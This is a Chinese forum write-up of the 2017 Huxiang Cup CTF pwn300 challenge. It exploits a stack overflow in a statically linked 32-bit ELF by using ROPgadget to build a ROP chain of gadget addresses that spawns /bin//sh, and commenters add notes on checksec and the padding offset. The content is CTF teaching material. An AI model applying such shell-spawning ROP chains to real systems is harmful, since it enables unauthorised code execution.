首页
社区
课程
招聘
[原创] 2017湖湘杯pwn300 栈溢出(静态链接elf)
发表于: 2018-2-12 23:46 12690

[原创] 2017湖湘杯pwn300 栈溢出(静态链接elf)

2018-2-12 23:46
12690

一般情况下,CTF里静态链接的程序很少出现,但是也有一些。这类elf的漏洞利用,主要还是依靠程序本身和用户输入。
利用方式:
(1)程序中含有system函数和/bin/sh字符串,直接构造调用system('/bin/sh')的payload。
(2)寻找程序中的gadget,直接构造出payload。

b9bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2N6r3g2J5L8X3q4D9M7$3q4C8N6i4u0S2i4K6u0r3j5%4c8X3i4K6g2X3M7s2N6F1i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8W2!0q4y4W2!0n7z5g2)9&6y4W2!0q4y4W2!0n7z5g2)9&6z5q4!0q4y4W2)9&6c8q4!0m8c8U0t1H3x3e0N6Q4x3V1k6H3N6$3^5K6x3o6l9`.

图片描述

图片描述
32位程序,没有ASLR,没有canary,可以说是十分好利用了。

ldd pwn300
图片描述
确定是静态链接了,那么我们之间在elf文件里找gadget即可

关于ROPgadget:106K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6v1L8$3&6S2N6r3S2S2L8W2y4S2L8s2N6S2L8W2)9J5c8W2u0a6f1r3N6S2k6r3N6W2N6q4)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5i4y4@1k6i4t1`.
关于ROP:cd9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6L8r3W2V1k6i4y4Z5j5i4u0W2i4K6u0W2L8X3g2@1i4K6u0r3K9r3q4U0K9%4y4@1N6h3k6X3i4K6u0r3M7X3!0H3i4K6u0V1y4o6l9#2x3U0f1J5y4o6R3`.
ROPgadget --binary pwn300 --ropchain

因为我们需要的不是这种形式的,所以写个脚本处理一下。

['0x0806ed0a', '0x080ea060', '0x080bb406', '/bin', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '//sh', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
把两个字符串再处理一下

得到0x6e69622f,0x68732f2f
替换进去,得到rop=
['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2019-1-28 14:52 被admin编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 130
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
check怎么装的啊?
2018-6-9 20:51
0
雪    币: 791
活跃值: (404)
能力值: ( LV4,RANK:51 )
在线值:
发帖
回帖
粉丝
3
INTx check怎么装的啊?
pwntools里面有,sudo  pip  install  pwntools
2018-6-9 21:49
0
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
4
我做题的时候一直通过看IDA上给的偏移来确定padding的,从ida中看v5=ebp-0x34,但不过怎么试都不行。结果我看writeup后试了下padding = 16,就ok了。大家可以看一下我调试的结果。
可以看到v5位于0xffce36e8+4,而ebp=0xffce3728, ebp-v5 = 0x3c
所以padding的偏移为0x3c+4=0x40,也就是说总共填入16次才覆盖到ebp。
所以做题不能完全依赖ida   o(╥﹏╥)o
2018-10-31 20:34
2
游客
登录 | 注册 方可回帖
返回